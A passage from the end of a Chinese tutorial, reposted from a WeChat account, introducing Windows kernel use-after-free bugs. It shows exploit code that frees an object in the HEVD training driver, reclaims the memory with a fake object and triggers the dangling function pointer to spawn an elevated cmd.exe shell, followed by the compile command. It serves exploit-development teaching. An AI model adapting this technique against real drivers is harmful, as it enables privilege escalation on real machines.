if (evilBuffer == NULL)
{
printf("[*] Failed to allocate evil buffer (userland)n");
return-1;
}
printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL objectn");
sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL, 0);
printf("[*] Freeing objectn");
sendIoctl(hHEVD, HEVD_FREE, NULL, 0);
printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOLn");
sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));
printf("[*] Triggering UAFn");
sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL, 0);
printf("[+] Enjoy the shell :)nn");
system("cmd.exe");
}
编译完成后:
i686-w64-mingw32-gcc poc.c -o poc.exe
我们获得了 shell!
参考资料
https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/paged_code
原文始发于微信公众号(securitainment):Windows 内核 Use After Frees (UaFs) 介绍
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论